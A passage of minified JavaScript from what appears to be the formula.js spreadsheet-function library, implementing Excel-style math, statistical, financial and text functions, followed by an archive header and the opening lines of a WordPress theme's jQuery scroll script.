o="i"===o||"j"===o?o:"i",0!==t?On(n,-t,o):r},r.IMCOS=Un,r.IMCOSH=Vn,r.IMCOT=function(r){return F(Gn(r),qn(r))?e:kn(Un(r),Xn(r))},r.IMCSC=function(r){return!0===r||!1===r?e:F(Gn(r),qn(r))?u:kn("1",Xn(r))},r.IMCSCH=function(r){return!0===r||!1===r?e:F(Gn(r),qn(r))?u:kn("1",jn(r))},r.IMDIV=kn,r.IMEXP=function(r){var n=Gn(r),t=qn(r);if(F(n,t))return e;var o=r.substring(r.length-1);o="i"===o||"j"===o?o:"i";var a=Math.exp(n);return On(a*Math.cos(t),a*Math.sin(t),o)},r.IMLN=function(r){var n=Gn(r),t=qn(r);if(F(n,t))return e;var o=r.substring(r.length-1);return o="i"===o||"j"===o?o:"i",On(Math.log(Math.sqrt(n*n+t*t)),Math.atan(t/n),o)},r.IMLOG10=function(r){var n=Gn(r),t=qn(r);if(F(n,t))return e;var o=r.substring(r.length-1);return o="i"===o||"j"===o?o:"i",On(Math.log(Math.sqrt(n*n+t*t))/Math.log(10),Math.atan(t/n)/Math.log(10),o)},r.IMLOG2=function(r){var n=Gn(r),t=qn(r);if(F(n,t))return e;var o=r.substring(r.length-1);return o="i"===o||"j"===o?o:"i",On(Math.log(Math.sqrt(n*n+t*t))/Math.log(2),Math.atan(t/n)/Math.log(2),o)},r.IMPOWER=function(r,n){if(F(n=j(n),Gn(r),qn(r)))return e;var t=r.substring(r.length-1);t="i"===t||"j"===t?t:"i";var o=Math.pow(_n(r),n),a=Fn(r);return On(o*Math.cos(n*a),o*Math.sin(n*a),t)},r.IMPRODUCT=function(){var r=arguments[0];if(!arguments.length)return e;for(var n=1;n<arguments.length;n++){var t=Gn(r),o=qn(r),a=Gn(arguments[n]),u=qn(arguments[n]);if(F(t,o,a,u))return e;r=On(t*a-o*u,t*u+o*a)}return r},r.IMREAL=Gn,r.IMSEC=function(r){return!0===r||!1===r||F(Gn(r),qn(r))?e:kn("1",Un(r))},r.IMSECH=function(r){return F(Gn(r),qn(r))?e:kn("1",Vn(r))},r.IMSIN=Xn,r.IMSINH=jn,r.IMSQRT=function(r){if(F(Gn(r),qn(r)))return e;var n=r.substring(r.length-1);n="i"===n||"j"===n?n:"i";var t=Math.sqrt(_n(r)),o=Fn(r);return On(t*Math.cos(o/2),t*Math.sin(o/2),n)},r.IMSUB=function(r,n){var t=Gn(r),o=qn(r),a=Gn(n),u=qn(n);if(F(t,o,a,u))return e;var i=r.substring(r.length-1),f=n.substring(n.length-1),c="i";return("j"===i||"j"===f)&&(c="j"),On(t-a,o-u,c)},r.IMSUM=function(){if(!arguments.length)return e;for(var r=C(arguments),n=r[0],t=1;t<r.length;t++){var o=Gn(n),a=qn(n),u=Gn(r[t]),i=qn(r[t]);if(F(o,a,u,i))return e;n=On(o+u,a+i)}return n},r.IMTAN=function(r){return!0===r||!1===r||F(Gn(r),qn(r))?e:kn(Xn(r),Un(r))},r.INDEX=function(r,n,t){var a=q(r,n,t);if(a)return a;if(!Array.isArray(r))return e;var u=r.length>0&&!Array.isArray(r[0]);return u&&!t?(t=n,n=1):(t=t||1,n=n||1),t<0||n<0?e:u&&1===n&&t<=r.length?r[t-1]:n<=r.length&&t<=r[n-1].length?r[n-1][t-1]:o},r.INT=function(r){return(r=j(r))instanceof Error?r:Math.floor(r)},r.INTERCEPT=function(r,n){return F(r=H(r),n=H(n))?e:r.length!==n.length?i:Dr(0,r,n)},r.IPMT=ee,r.IRR=function(r,n){if(n="number"==typeof n?n:void 0===n?.1:j(n),F(r=H(C(r)),n))return e;for(var t=new Float64Array(r.length),o=!1,a=!1,i=0;i<r.length;i++)t[i]=r[i],t[i]>0&&(o=!0),t[i]<0&&(a=!0);if(!o||!a)return u;var f=new Map,c=function(r){var n=Math.round(1e10*r)/1e10;if(f.has(n))return f.get(n);var e=function(r){r<=-1&&(r=-.999999999);for(var n=t[0],e=1+r,o=1,a=1;a<t.length;a++)o*=e,n+=t[a]/o;return n}(n);return f.set(n,e),e};return function(){for(var r=1e-10,t=n,e=t,o=0;o<1e3;){var a=c(t);if(Math.abs(a)<r)return t;if(o>0&&Math.abs(t-e)<1e-9)break;var u=Math.max(1e-4,Math.abs(1e-4*t)),i=(c(t+u)-a)/u;if(Math.abs(i)<r)break;e=t;var f=a/i,l=Math.max(.1,.5*Math.abs(t));Math.abs(f)>l?t-=Math.sign(f)*l:t-=f,t<=-1&&(t=-.99999999),t>1e3&&(t=1e3),o++}var s,h,g,v=c(t);if(Math.abs(v)<r)return t;if(v>0){for(s=t,h=t+.1;c(h)>0&&h<1e3;)h=2*h+.1;if(h>=1e3)return t}else{for(h=t,s=Math.max(-.99999999,t-.1);c(s)<0&&s>-.99999999;)s=Math.max(-.99999999,s-.1);if(s<=-.99999999)return t}for(var p=0;p<1e3;p++){var m=c(g=(s+h)/2);if(Math.abs(m)<r||Math.abs(h-s)<r)return g;m*c(s)<0?h=g:s=g}return g}()},r.ISBLANK=function(r){return null===r},r.ISERR=$,r.ISERROR=Q,r.ISEVEN=function(r){return!(1&Math.floor(Math.abs(r)))},r.ISLOGICAL=Z,r.ISNA=function(r){return r===i},r.ISNONTEXT=function(r){return"string"!=typeof r},r.ISNUMBER=J,r.ISO=fn,r.ISODD=function(r){return!!(1&Math.floor(Math.abs(r)))},r.ISOWEEKNUM=Nn,r.ISPMT=function(r,n,t,o){return F(r=j(r),n=j(n),t=j(t),o=j(o))?e:o*r*(n/t-1)},r.ISTEXT=rr,r.KURT=function(){var r=H(C(arguments));if(r instanceof Error)return r;for(var n=ar.mean(r),t=r.length,e=0,o=0;o<t;o++)e+=Math.pow(r[o]-n,4);return t*(t+1)/((t-1)*(t-2)*(t-3))*(e/=Math.pow(ar.stdev(r,!0),4))-3*(t-1)*(t-1)/((t-2)*(t-3))},r.LARGE=Pr,r.LCM=function(){var r=H(C(arguments));if(r instanceof Error)return r;for(var n,t,e,o,a=1;void 0!==(e=r.pop());){if(0===e)return 0;for(;e>1;){if(e%2){for(n=3,t=Math.floor(Math.sqrt(e));n<=t&&e%n;n+=2);o=n<=t?n:e}else o=2;for(e/=o,a*=o,n=r.length;n;r[--n]%o==0&&1==(r[n]/=o)&&r.splice(n,1));}}return a},r.LEFT=function(r,n){var t=q(r,n);return t||(r=Y(r),(n=j(n=void 0===n?1:n))instanceof Error||"string"!=typeof r?e:r.substring(0,n))},r.LEN=function(r){return 0===arguments.length?f:r instanceof Error?r:Array.isArray(r)?e:Y(r).length},r.LINEST=Lr,r.LN=function(r){return(r=j(r))instanceof Error?r:0===r?u:Math.log(r)},r.LOG=function(r,n){var t=q(r=j(r),n=n?j(n):10);return t||(0===r||0===n?u:Math.log(r)/Math.log(n))},r.LOG10=function(r){return(r=j(r))instanceof Error?r:0===r?u:Math.log(r)/Math.log(10)},r.LOGEST=function(r,n){if(F(r=H(C(r)),n=H(C(n))))return e;if(r.length!==n.length)return e;for(var t=0;t<r.length;t++)r[t]=Math.log(r[t]);var o=Lr(r,n);return o[0]=Math.round(1e6*Math.exp(o[0]))/1e6,o[1]=Math.round(1e6*Math.exp(o[1]))/1e6,o},r.LOGINV=Mt,r.LOGNORM=_r,r.LOGNORMDIST=yt,r.LOGNORMINV=Et,r.LOOKUP=function(r,n,t){n=C(n),t=t?C(t):n;for(var e="number"==typeof r,o=i,a=0;a<n.length;a++){if(n[a]===r)return t[a];if(e&&n[a]<=r||"string"==typeof n[a]&&n[a].localeCompare(r)<0)o=t[a];else if(e&&n[a]>r)return o}return o},r.LOWER=function(r){return 1!==arguments.length?e:F(r=Y(r))?r:r.toLowerCase()},r.MATCH=function(r,n,t){if(!r&&0!==r||!n)return i;if(2===arguments.length&&(t=1),!((n=C(n))instanceof Array))return i;if(-1!==t&&0!==t&&1!==t)return i;for(var e,o,a=0;a<n.length;a++)if(1===t){if(n[a]===r)return a+1;n[a]<r&&(o?n[a]>o&&(e=a+1,o=n[a]):(e=a+1,o=n[a]))}else if(0===t){if("string"==typeof r&&"string"==typeof n[a]){var u=r.toLowerCase().replace(/\?/g,".").replace(/\*/g,".*").replace(/~/g,"\\").replace(/\+/g,"\\+").replace(/\(/g,"\\(").replace(/\)/g,"\\)").replace(/\[/g,"\\[").replace(/\]/g,"\\]");if(new RegExp("^"+u+"$").test(n[a].toLowerCase()))return a+1}else if(n[a]===r)return a+1}else if(-1===t){if(n[a]===r)return a+1;n[a]>r&&(o?n[a]<o&&(e=a+1,o=n[a]):(e=a+1,o=n[a]))}return e||i},r.MAX=qr,r.MAXA=function(){var r=C(arguments),n=q.apply(void 0,r);if(n)return n;var t=x(r);return t=t.map((function(r){return null==r?0:r})),0===t.length?0:Math.max.apply(Math,t)},r.MAXIFS=function(){var r=z.apply(void 0,arguments);return 0===r.length?0:Math.max.apply(Math,r)},r.MEDIAN=Fr,r.MID=function(r,n,t){if(null==n)return e;if(F(n=j(n),t=j(t))||"string"!=typeof r)return t;var o=n-1,a=o+t;return r.substring(o,a)},r.MIN=Ur,r.MINA=function(){var r=C(arguments),n=q.apply(void 0,r);if(n)return n;var t=x(r);return t=t.map((function(r){return null==r?0:r})),0===t.length?0:Math.min.apply(Math,t)},r.MINIFS=function(){var r=z.apply(void 0,arguments);return 0===r.length?0:Math.min.apply(Math,r)},r.MINUTE=function(r){return(r=G(r))instanceof Error?r:r.getMinutes()},r.MIRR=function(r,n,t){if(F(r=H(C(r)),n=j(n),t=j(t)))return e;for(var o=r.length,a=[],u=[],i=0;i<o;i++)r[i]<0?a.push(r[i]):u.push(r[i]);var f=-oe(t,u)*Math.pow(1+t,o-1),c=oe(n,a)*(1+n);return Math.pow(f/c,1/(o-1))-1},r.MMULT=function(r,n){return!Array.isArray(r)||!Array.isArray(n)||r.some((function(r){return!r.length}))||n.some((function(r){return!r.length}))||R(r).some((function(r){return"number"!=typeof r}))||R(n).some((function(r){return"number"!=typeof r}))||r[0].length!==n.length?e:Array(r.length).fill(0).map((function(){return Array(n[0].length).fill(0)})).map((function(t,e){return t.map((function(t,o){return r[e].reduce((function(r,t,e){return r+t*n[e][o]}),0)}))}))},r.MOD=function(r,n){var e=q(r=j(r),n=j(n));if(e)return e;if(0===n)return t;var o=Math.abs(r%n);return o=r<0?n-o:o,n>0?o:-o},r.MODE=Vr,r.MODEMULT=Nt,r.MODESNGL=bt,r.MONTH=function(r){return(r=G(r))instanceof Error?r:r.getMonth()+1},r.MROUND=function(r,n){var t=q(r=j(r),n=j(n));return t||(r*n==0?0:r*n<0?u:Math.round(r/n)*n)},r.MULTINOMIAL=function(){var r=H(C(arguments));if(r instanceof Error)return r;for(var n=0,t=1,e=0;e<r.length;e++)n+=r[e],t*=an(r[e]);return an(n)/t},r.MUNIT=function(r){return arguments.length>1?i:!(r=parseInt(r))||r<=0?e:Array(r).fill(0).map((function(){return Array(r).fill(0)})).map((function(r,n){return r[n]=1,r}))},r.N=function(r){return J(r)?r:r instanceof Date?r.getTime():!0===r?1:!1===r?0:Q(r)?r:0},r.NA=function(){return i},r.NEGBINOM=kr,r.NEGBINOMDIST=It,r.NETWORKDAYS=bn,r.NETWORKDAYSINTL=wt,r.NOMINAL=function(r,n){return F(r=j(r),n=j(n))?e:r<=0||n<1?u:(n=parseInt(n,10),(Math.pow(r+1,1/n)-1)*n)},r.NORM=Gr,r.NORMDIST=St,r.NORMINV=Tt,r.NORMSDIST=At,r.NORMSINV=xt,r.NOT=function(r){return"string"==typeof r?e:r instanceof Error?r:!r},r.NOW=function(){return s?v(new Date):new Date},r.NPER=function(r,n,t,o,a){if(a=void 0===a?0:a,o=void 0===o?0:o,F(r=j(r),n=j(n),t=j(t),o=j(o),a=j(a)))return e;if(0===r)return-(t+o)/n;var u=n*(1+r*a)-o*r,i=t*r+n*(1+r*a);return Math.log(u/i)/Math.log(1+r)},r.NPV=oe,r.NUMBERVALUE=function(r,n,t){return"number"==typeof(r=W(r)?r:"")?r:"string"!=typeof r?i:(n=void 0===n?".":n,t=void 0===t?",":t,Number(r.replace(n,".").replace(t,"")))},r.OCT2BIN=function(r,n){if(!/^[0-7]{1,10}$/.test(r))return u;var t=!(10!==r.length||"7"!==r.substring(0,1)),o=t?parseInt(r,8)-1073741824:parseInt(r,8);if(o<-512||o>511)return u;if(t)return"1"+gr("0",9-(512+o).toString(2).length)+(512+o).toString(2);var a=o.toString(2);return void 0===n?a:isNaN(n)?e:n<0?u:(n=Math.floor(n))>=a.length?gr("0",n-a.length)+a:u},r.OCT2DEC=function(r){if(!/^[0-7]{1,10}$/.test(r))return u;var n=parseInt(r,8);return n>=536870912?n-1073741824:n},r.OCT2HEX=function(r,n){if(!/^[0-7]{1,10}$/.test(r))return u;var t=parseInt(r,8);if(t>=536870912)return"ff"+(t+3221225472).toString(16);var o=t.toString(16);return void 0===n?o:isNaN(n)?e:n<0?u:(n=Math.floor(n))>=o.length?gr("0",n-o.length)+o:u},r.ODD=function(r){if((r=j(r))instanceof Error)return r;var n=Math.ceil(Math.abs(r));return n=1&n?n:n+1,r>=0?n:-n},r.OR=function(){for(var r=C(arguments),n=e,t=0;t<r.length;t++){if(r[t]instanceof Error)return r[t];void 0!==r[t]&&null!==r[t]&&"string"!=typeof r[t]&&(n===e&&(n=!1),r[t]&&(n=!0))}return n},r.PDURATION=function(r,n,t){return F(r=j(r),n=j(n),t=j(t))?e:r<=0?u:(Math.log(t)-Math.log(n))/Math.log(1+r)},r.PEARSON=Xr,r.PERCENTILE=jr,r.PERCENTILEEXC=Dt,r.PERCENTILEINC=Ct,r.PERCENTRANK=Hr,r.PERCENTRANKEXC=Rt,r.PERCENTRANKINC=Ot,r.PERMUT=function(r,n){return F(r=j(r),n=j(n))?e:an(r)/an(r-n)},r.PERMUTATIONA=function(r,n){return F(r=j(r),n=j(n))?e:Math.pow(r,n)},r.PHI=function(r){return(r=j(r))instanceof Error?e:Math.exp(-.5*r*r)/2.5066282746310002},r.PI=function(){return Math.PI},r.PMT=ae,r.POISSON=Yr,r.POISSONDIST=Pt,r.POWER=cn,r.PPMT=function(r,n,t,o,a,u){return a=a||0,u=u||0,F(r=j(r),t=j(t),o=j(o),a=j(a),u=j(u))?e:ae(r,t,o,a,u)-ee(r,n,t,o,a,u)},r.PRICEDISC=function(r,n,t,o,a){if(F(r=G(r),n=G(n),t=j(t),o=j(o),a=(a=j(a))||0))return e;if(t<=0||o<=0)return u;if(r>=n)return e;var i,f;switch(a){case 0:i=360,f=En(r,n,!1);break;case 1:case 3:i=365,f=dn(r,n,"D");break;case 2:i=360,f=dn(r,n,"D");break;case 4:i=360,f=En(r,n,!0);break;default:return u}return o-t*o*f/i},r.PROB=function(r,n,t,o){if(void 0===t)return 0;if(o=void 0===o?t:o,F(r=H(C(r)),n=H(C(n)),t=j(t),o=j(o)))return e;if(t===o)return r.indexOf(t)>=0?n[r.indexOf(t)]:0;for(var a=r.sort((function(r,n){return r-n})),u=a.length,i=0,f=0;f<u;f++)a[f]>=t&&a[f]<=o&&(i+=n[r.indexOf(a[f])]);return i},r.PRODUCT=ln,r.PROPER=function(r){return F(r)?r:isNaN(r)&&"number"==typeof r?e:(r=Y(r)).replace(/\w\S*/g,(function(r){return r.charAt(0).toUpperCase()+r.substr(1).toLowerCase()}))},r.PV=function(r,n,t,o,a){return o=o||0,a=a||0,F(r=j(r),n=j(n),t=j(t),o=j(o),a=j(a))?e:0===r?-t*n-o:((1-Math.pow(1+r,n))/r*t*(1+r*a)-o)/Math.pow(1+r,n)},r.QUARTILE=Br,r.QUARTILEEXC=Lt,r.QUARTILEINC=_t,r.QUOTIENT=function(r,n){var t=q(r=j(r),n=j(n));return t||parseInt(r/n,10)},r.RADIANS=function(r){return(r=j(r))instanceof Error?r:r*Math.PI/180},r.RAND=function(){return Math.random()},r.RANDBETWEEN=function(r,n){var t=q(r=j(r),n=j(n));return t||r+Math.ceil((n-r+1)*Math.random())-1},r.RANK=zr,r.RANKAVG=qt,r.RANKEQ=Ft,r.RATE=function(r,n,t,o,a,i){if(i=void 0===i?.1:i,o=void 0===o?0:o,a=void 0===a?0:a,F(r=j(r),n=j(n),t=j(t),o=j(o),a=j(a),i=j(i)))return e;var f=1e-10,c=i;a=a?1:0;for(var l=0;l<100;l++){if(c<=-1)return u;var s=void 0,h=void 0;if(s=Math.abs(c)<f?t*(1+r*c)+n*(1+c*a)*r+o:t*(h=Math.pow(1+c,r))+n*(1/c+a)*(h-1)+o,Math.abs(s)<f)return c;var g=void 0;if(Math.abs(c)<f)g=t*r+n*a*r;else{h=Math.pow(1+c,r);var v=r*Math.pow(1+c,r-1);g=t*v+n*(1/c+a)*v+n*(-1/(c*c))*(h-1)}c-=s/g}return c},r.REPLACE=function(r,n,t,o){return F(n=j(n),t=j(t))||"string"!=typeof r||"string"!=typeof o?e:r.substr(0,n-1)+o+r.substr(n-1+t)},r.REPT=gr,r.RIGHT=function(r,n){var t=q(r,n);return t||(r=Y(r),(n=j(n=void 0===n?1:n))instanceof Error?n:r.substring(r.length-n))},r.ROMAN=function(r){if((r=j(r))instanceof Error)return r;for(var n=String(r).split(""),t=["","C","CC","CCC","CD","D","DC","DCC","DCCC","CM","","X","XX","XXX","XL","L","LX","LXX","LXXX","XC","","I","II","III","IV","V","VI","VII","VIII","IX"],e="",o=3;o--;)e=(t[+n.pop()+10*o]||"")+e;return new Array(+n.join("")+1).join("M")+e},r.ROUND=sn,r.ROUNDDOWN=function(r,n){var t=q(r=j(r),n=j(n));return t||(r>0?1:-1)*Math.floor(Math.abs(r)*Math.pow(10,n))/Math.pow(10,n)},r.ROUNDUP=function(r,n){var t=q(r=j(r),n=j(n));return t||(r>0?1:-1)*Math.ceil(Math.abs(r)*Math.pow(10,n))/Math.pow(10,n)},r.ROW=function(r,n){return 2!==arguments.length?i:n<0?u:r instanceof Array&&"number"==typeof n?0!==r.length?ar.row(r,n):void 0:e},r.ROWS=function(r){return 1!==arguments.length?i:r instanceof Array?0===r.length?0:ar.rows(r):e},r.RRI=function(r,n,t){return F(r=j(r),n=j(n),t=j(t))?e:0===r||0===n?u:Math.pow(t/n,1/r)-1},r.RSQ=function(r,n){return F(r=H(C(r)),n=H(C(n)))?e:Math.pow(Xr(r,n),2)},r.SEARCH=function(r,n,t){var o;return"string"!=typeof r||"string"!=typeof n?e:(t=void 0===t?0:t,0===(o=n.toLowerCase().indexOf(r.toLowerCase(),t-1)+1)?e:o)},r.SEC=function(r){return(r=j(r))instanceof Error?r:1/Math.cos(r)},r.SECH=function(r){return(r=j(r))instanceof Error?r:2/(Math.exp(r)+Math.exp(-r))},r.SECOND=function(r){return(r=G(r))instanceof Error?r:r.getSeconds()},r.SERIESSUM=function(r,n,t,o){if(F(r=j(r),n=j(n),t=j(t),o=H(o)))return e;for(var a=o[0]*Math.pow(r,n),u=1;u<o.length;u++)a+=o[u]*Math.pow(r,n+u*t);return a},r.SIGN=function(r){return(r=j(r))instanceof Error?r:r<0?-1:0===r?0:1},r.SIN=function(r){return(r=j(r))instanceof Error?r:Math.sin(r)},r.SINH=function(r){return(r=j(r))instanceof Error?r:(Math.exp(r)-Math.exp(-r))/2},r.SKEW=Wr,r.SKEWP=Ut,r.SLN=function(r,n,t){return F(r=j(r),n=j(n),t=j(t))?e:0===t?u:(r-n)/t},r.SLOPE=function(r,n){if(F(r=H(C(r)),n=H(C(n))))return e;for(var t=ar.mean(n),o=ar.mean(r),a=n.length,u=0,i=0,f=0;f<a;f++)u+=(n[f]-t)*(r[f]-o),i+=Math.pow(n[f]-t,2);return u/i},r.SMALL=Kr,r.SORT=function(r){var n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:1,t=arguments.length>2&&void 0!==arguments[2]?arguments[2]:1,o=arguments.length>3&&void 0!==arguments[3]&&arguments[3];if(!r||!Array.isArray(r))return i;if(0===r.length)return 0;if(!(n=j(n))||n<1)return e;if(1!==(t=j(t))&&-1!==t)return e;if("boolean"!=typeof(o=k(o)))return a;var u=function(r){return r.sort((function(r,e){return r=Y(r[n-1]),e=Y(e[n-1]),1===t?r<e?-1*t:t:r>e?t:-1*t}))},f=D(r),c=o?L(f):f;return n>=1&&n<=c[0].length?o?L(u(c)):u(c):e},r.SQRT=function(r){return(r=j(r))instanceof Error?r:r<0?u:Math.sqrt(r)},r.SQRTPI=function(r){return(r=j(r))instanceof Error?r:Math.sqrt(r*Math.PI)},r.STANDARDIZE=function(r,n,t){return F(r=j(r),n=j(n),t=j(t))?e:(r-n)/t},r.STDEV=$r,r.STDEVA=function(){var r=Zr.apply(this,arguments);return Math.sqrt(r)},r.STDEVP=Vt,r.STDEVPA=function(){var r=Jr.apply(this,arguments),n=Math.sqrt(r);return isNaN(n)&&(n=u),n},r.STDEVS=kt,r.STEYX=function(r,n){if(F(r=H(C(r)),n=H(C(n))))return e;for(var t=ar.mean(n),o=ar.mean(r),a=n.length,u=0,i=0,f=0,c=0;c<a;c++)u+=Math.pow(r[c]-o,2),i+=(n[c]-t)*(r[c]-o),f+=Math.pow(n[c]-t,2);return Math.sqrt((u-i*i/f)/(a-2))},r.SUBSTITUTE=function(r,n,t,o){if(arguments.length<3)return i;if(r&&n){if(void 0===o)return r.split(n).join(t);if(o=Math.floor(Number(o)),Number.isNaN(o)||o<=0)return e;for(var a=0,u=0;a>-1&&r.indexOf(n,a)>-1;)if(u++,(a=r.indexOf(n,a+1))>-1&&u===o)return r.substring(0,a)+t+r.substring(a+n.length);return r}return r},r.SUBTOTAL=function(r,n){if((r=j(r))instanceof Error)return r;switch(r){case 1:case 101:return dr(n);case 2:case 102:return Ir(n);case 3:case 103:return wr(n);case 4:case 104:return qr(n);case 5:case 105:return Ur(n);case 6:case 106:return ln(n);case 7:case 107:return $r.S(n);case 8:case 108:return $r.P(n);case 9:case 109:return hn(n);case 10:case 110:return Qr.S(n);case 11:case 111:return Qr.P(n)}},r.SUM=hn,r.SUMIF=function(r,n,t){if(r=C(r),t=t?C(t):r,r instanceof Error)return r;if(null==n||n instanceof Error)return 0;for(var e=0,o="*"===n,a=o?null:w(n+""),u=0;u<r.length;u++){var i=r[u],f=t[u];if(o)e+=i;else{var c=[b(i,N)].concat(a);e+=S(c)?f:0}}return e},r.SUMIFS=function(){return hn(z.apply(void 0,arguments))},r.SUMPRODUCT=function(){if(!arguments||0===arguments.length)return e;for(var r,n,t,o,a=arguments.length+1,u=0,i=0;i<arguments[0].length;i++)if(arguments[0][i]instanceof Array)for(var f=0;f<arguments[0][i].length;f++){for(r=1,n=1;n<a;n++){var c=arguments[n-1][i][f];if(c instanceof Error)return c;if((o=j(c))instanceof Error)return o;r*=o}u+=r}else{for(r=1,n=1;n<a;n++){var l=arguments[n-1][i];if(l instanceof Error)return l;if((t=j(l))instanceof Error)return t;r*=t}u+=r}return u},r.SUMSQ=function(){var r=H(C(arguments));if(r instanceof Error)return r;for(var n=0,t=r.length,e=0;e<t;e++)n+=J(r[e])?r[e]*r[e]:0;return n},r.SUMX2MY2=function(r,n){if(F(r=H(C(r)),n=H(C(n))))return e;for(var t=0,o=0;o<r.length;o++)t+=r[o]*r[o]-n[o]*n[o];return t},r.SUMX2PY2=function(r,n){if(F(r=H(C(r)),n=H(C(n))))return e;var t=0;r=H(C(r)),n=H(C(n));for(var o=0;o<r.length;o++)t+=r[o]*r[o]+n[o]*n[o];return t},r.SUMXMY2=function(r,n){if(F(r=H(C(r)),n=H(C(n))))return e;var t=0;r=C(r),n=C(n);for(var o=0;o<r.length;o++)t+=Math.pow(r[o]-n[o],2);return t},r.SWITCH=function(){var r;if(arguments.length>0){var n=arguments[0],t=arguments.length-1,o=Math.floor(t/2),a=!1,u=t%2!=0,f=t%2==0?null:arguments[arguments.length-1];if(o)for(var c=0;c<o;c++)if(n===arguments[2*c+1]){r=arguments[2*c+2],a=!0;break}a||(r=u?f:i)}else r=e;return r},r.SYD=function(r,n,t,o){return F(r=j(r),n=j(n),t=j(t),o=j(o))?e:0===t||o<1||o>t?u:(r-n)*(t-(o=parseInt(o,10))+1)*2/(t*(t+1))},r.T=vr,r.TAN=function(r){return(r=j(r))instanceof Error?r:Math.tan(r)},r.TANH=function(r){if((r=j(r))instanceof Error)return r;var n=Math.exp(2*r);return(n-1)/(n+1)},r.TBILLEQ=function(r,n,t){return F(r=G(r),n=G(n),t=j(t))?e:t<=0||r>n||n-r>31536e6?u:365*t/(360-t*En(r,n,!1))},r.TBILLPRICE=function(r,n,t){return F(r=G(r),n=G(n),t=j(t))?e:t<=0||r>n||n-r>31536e6?u:100*(1-t*En(r,n,!1)/360)},r.TBILLYIELD=function(r,n,t){return F(r=G(r),n=G(n),t=j(t))?e:t<=0||r>n||n-r>31536e6?u:360*(100-t)/(t*En(r,n,!1))},r.TDIST=Gt,r.TDISTRT=Xt,r.TEXT=function(r,n){if(void 0===r||r instanceof Error||n instanceof Error)return i;if(r instanceof Date)return r.toISOString().slice(0,10);if(null==n)return"";if("number"==typeof n)return String(n);if("string"!=typeof n)return e;var t=n.startsWith("$")?"$":"",o=n.endsWith("%");return o&&(r*=100),r=(r=hr(r,(n=n.replace(/%/g,"").replace(/\$/g,"")).includes(".")?n.split(".")[1].match(/0/g).length:0,!n.includes(","))).startsWith("-")?"-"+t+(r=r.replace("-","")):t+r,o&&(r+="%"),r},r.TEXTJOIN=function(r,n){for(var t=arguments.length,e=new Array(t>2?t-2:0),o=2;o<t;o++)e[o-2]=arguments[o];if("boolean"!=typeof n&&(n=k(n)),arguments.length<3)return i;r=null!=r?r:"";var a=C(e),u=n?a.filter((function(r){return r})):a;if(Array.isArray(r)){r=C(r);for(var f=u.map((function(r){return[r]})),c=0,l=0;l<f.length-1;l++)f[l].push(r[c]),++c===r.length&&(c=0);return(u=C(f)).join("")}return u.join(r)},r.TIME=function(r,n,t){return F(r=j(r),n=j(n),t=j(t))?e:r<0||n<0||t<0?u:(3600*r+60*n+t)/86400},r.TIMEVALUE=function(r){return(r=G(r))instanceof Error?r:(3600*r.getHours()+60*r.getMinutes()+r.getSeconds())/86400},r.TINV=jt,r.TODAY=function(){var r=Mn(new Date);return s?v(r):r},r.TRANSPOSE=function(r){return r?L(D(r)):i},r.TREND=function(r,n,t){if(F(r=H(C(r)),n=H(C(n)),t=H(C(t))))return e;var o=Lr(r,n),a=o[0],u=o[1],i=[];return t.forEach((function(r){i.push(a*r+u)})),i},r.TRIM=function(r){return(r=Y(r))instanceof Error?r:r.replace(/\s+/g," ").trim()},r.TRIMMEAN=function(r,n){if(F(r=H(C(r)),n=j(n)))return e;var t,o,a=un(r.length*n,2)/2;return ar.mean((t=P(r.sort((function(r,n){return r-n})),a),o=(o=a)||1,t&&"function"==typeof t.slice?t.slice(0,t.length-o):t))},r.TRUE=function(){return!0},r.TRUNC=function(r,n){var t=q(r=j(r),n=j(n));return t||(r>0?1:-1)*Math.floor(Math.abs(r)*Math.pow(10,n))/Math.pow(10,n)},r.TTEST=Ht,r.TYPE=function(r){return J(r)?1:rr(r)?2:Z(r)?4:Q(r)?16:Array.isArray(r)?64:void 0},r.UNICHAR=pr,r.UNICODE=mr,r.UNIQUE=ur,r.UPPER=function(r){return(r=Y(r))instanceof Error?r:r.toUpperCase()},r.VALUE=function(r){var n=q(r);if(n)return n;if("number"==typeof r)return r;if(W(r)||(r=""),"string"!=typeof r)return e;var t=/(%)$/.test(r)||/^(%)/.test(r);if(""===(r=(r=(r=r.replace(/^[^0-9-]{0,3}/,"")).replace(/[^0-9]{0,3}$/,"")).replace(/[ ,]/g,"")))return 0;var o=Number(r);return isNaN(o)?e:(o=o||0,t&&(o*=.01),o)},r.VAR=Qr,r.VARA=Zr,r.VARP=Yt,r.VARPA=Jr,r.VARS=Bt,r.VLOOKUP=ir,r.WEEKDAY=function(r,n){if((r=G(r))instanceof Error)return r;void 0===n&&(n=1);var t=r.getDay();return pn[n][t]},r.WEEKNUM=function(r,n){if((r=G(r))instanceof Error)return r;if(void 0===n&&(n=1),21===n)return Nn(r);var t=vn[n],e=new Date(r.getFullYear(),0,1),o=e.getDay()<t?1:0;return e-=24*Math.abs(e.getDay()-t)*60*60*1e3,Math.floor((r-e)/864e5/7+1)+o},r.WEIBULL=rn,r.WEIBULLDIST=zt,r.WORKDAY=In,r.WORKDAYINTL=Wt,r.XIRR=function(r,n,t){if(F(r=H(C(r)),n=X(C(n)),t=j(t)))return e;for(var o=function(r,n,t){for(var e=t+1,o=r[0],a=1;a<r.length;a++)o+=r[a]/Math.pow(e,yn(n[a],n[0])/365);return o},a=function(r,n,t){for(var e=t+1,o=0,a=1;a<r.length;a++){var u=yn(n[a],n[0])/365;o-=u*r[a]/Math.pow(e,u+1)}return o},i=!1,f=!1,c=0;c<r.length;c++)r[c]>0&&(i=!0),r[c]<0&&(f=!0);if(!i||!f)return u;var l,s,h,g=t=t||.1,v=!0;do{l=g-(h=o(r,n,g))/a(r,n,g),s=Math.abs(l-g),g=l,v=s>1e-10&&Math.abs(h)>1e-10}while(v);return g},r.XNPV=function(r,n,t){if(F(r=j(r),n=H(C(n)),t=X(C(t))))return e;for(var o=0,a=0;a<n.length;a++)o+=n[a]/Math.pow(1+r,yn(t[a],t[0])/365);return o},r.XOR=function(){for(var r=C(arguments),n=e,t=0;t<r.length;t++){if(r[t]instanceof Error)return r[t];void 0!==r[t]&&null!==r[t]&&"string"!=typeof r[t]&&(n===e&&(n=0),r[t]&&n++)}return n===e?n:!!(1&Math.floor(Math.abs(n)))},r.YEAR=function(r){return(r=G(r))instanceof Error?r:r.getFullYear()},r.YEARFRAC=Tn,r.Z=nn,r.ZTEST=Kt,r.utils=ue}));
//# sourceMappingURL=formula.min.js.map
PK     N\xqeܳ&  &    js/ajax-more-scroll-slist.jsnu [        jQuery(document).ready(function ($) {
    if (!$('.penci-slajax-more-scroll .penci-ajax-more-button').length) {
